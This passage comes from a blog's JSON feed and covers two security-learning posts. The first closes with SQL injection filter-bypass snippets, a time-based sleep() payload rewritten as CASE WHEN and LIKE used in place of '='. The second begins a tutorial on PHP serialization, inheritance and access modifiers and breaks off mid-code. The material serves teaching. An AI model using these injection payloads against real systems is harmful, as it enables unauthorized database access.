then ... else ... end绕过if语句中的逗号：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>if(1=1,sleep(3),0) -></span></span>\n<span class=\"line\"><span>case when 1=1 then sleep(3) else 0 end</span></span></code></pre>\n</li>\n</ul>\n<h2 id=\"等号过滤\"><a class=\"anchor\" href=\"#等号过滤\">#</a> <strong>等号过滤</strong></h2>\n<p>使用LIKE代替：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>1=1 -> 1 LIKE 1</span></span></code></pre>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/",
            "url": "https://zlaryy.top/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/",
            "title": "php反序列化",
            "date_published": "2026-02-16T04:00:00.000Z",
            "content_html": "<h1 id=\"php反序列化\"><a class=\"anchor\" href=\"#php反序列化\">#</a> php反序列化</h1>\n<h2 id=\"php序列化\"><a class=\"anchor\" href=\"#php序列化\">#</a> php序列化：</h2>\n<h3 id=\"序列化字符串\"><a class=\"anchor\" href=\"#序列化字符串\">#</a> 序列化字符串：</h3>\n<p>在学习反序列化之前需要了解什么是php序列化：</p>\n<p>序列化是将对象转化为可存储或传输的字符串格式的过程。在php中，可以使用serialize()函数将对象，数组或其它<a href=\"https://so.csdn.net/so/search?q=%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B&amp;spm=1001.2101.3001.7020\">数据类型</a>序列化称为一个字符串，以便将其保存到文件或者进行网络传输。</p>\n<p>通过以下代码，我们可以实现将一个对象序列化操作并输出序列化字符串：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> ECH</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><strong>注意输出序列化字符串只能使用var_dump或者print_r，不能使用echo</strong></p>\n<p>我们能看到代码执行结果为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">O</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">3</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xiexie</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">i</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">8</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Chesmond</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Arach</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>接下来我们分析一下 这串序列化字符串的结构：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">O</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">3</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">O：代表</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> Object</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">（对象）</span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">：代表类名的长度（</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> 是</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 6</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> 个字符）</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">：类名</span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">3</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">：代表该对象包含</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 3</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> 个属性</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//内部数据以第一个属性为例</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">s</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xiexie</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">i</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">Key</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">属性名</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> s</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xiexie</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s：代表</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> String</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">（字符串）</span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">6</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">：字符串长度</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xiexie</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">：具体的属性名</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">Value</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">属性值</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> i</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">i</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">:</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Int</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">整数</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">2</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">：具体的属性值</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span></code></pre>\n<p>属性类型除了第一个的int之外还有string字符串以及bool布尔类型</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">s</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">s</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">:</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">String</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">字符串</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">属性值的长度</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">具体的属性值</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">b</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">b</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">:</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Bool</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">布尔型</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">true</span></span></code></pre>\n<p>可以看到序列化字符串中并不包含我们的ECH方法</p>\n<h3 id=\"类的继承\"><a class=\"anchor\" href=\"#类的继承\">#</a> 类的继承</h3>\n<p>我们还可以使用extends继承类，子类可以继承父类的属性和方法比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">age</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 18</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sex</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> Doing</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Studying</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> Arach</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> extends</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">private</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">age</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 19</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sex</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">man</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">Doing</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">age</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%E7%BB%A7%E6%89%BF.png\" class=\"\" title=\"继承\"></p>\n<p>在Arach类中，我们没有定义age属性和Doing方法，却能实现调用，这就是类的继承</p>\n<h3 id=\"访问修饰符\"><a class=\"anchor\" href=\"#访问修饰符\">#</a> 访问修饰符 ：</h3>\n<p>访问修饰符（Access Modifiers）是面向对象编程中用于控制类、方法、变量等成员访问权限的关键字。它们定义了代码的可见性，通过封装实现信息隐藏，防止不当的外部访问，保护数据的安全性。主要的访问级别包括公开（public）、私有（private）和受保护（protected）</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%E7%AC%94%E8%AE%B0.png\" class=\"\" title=\"笔记\"></p>\n<p>由图可以看到，public无论在哪里都可以访问，protected只有在类中和子类中可以访问，private只可以在类中调用。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">age</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 18</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sex</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> Doing</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Studying</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> Arach</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> extends</span><span 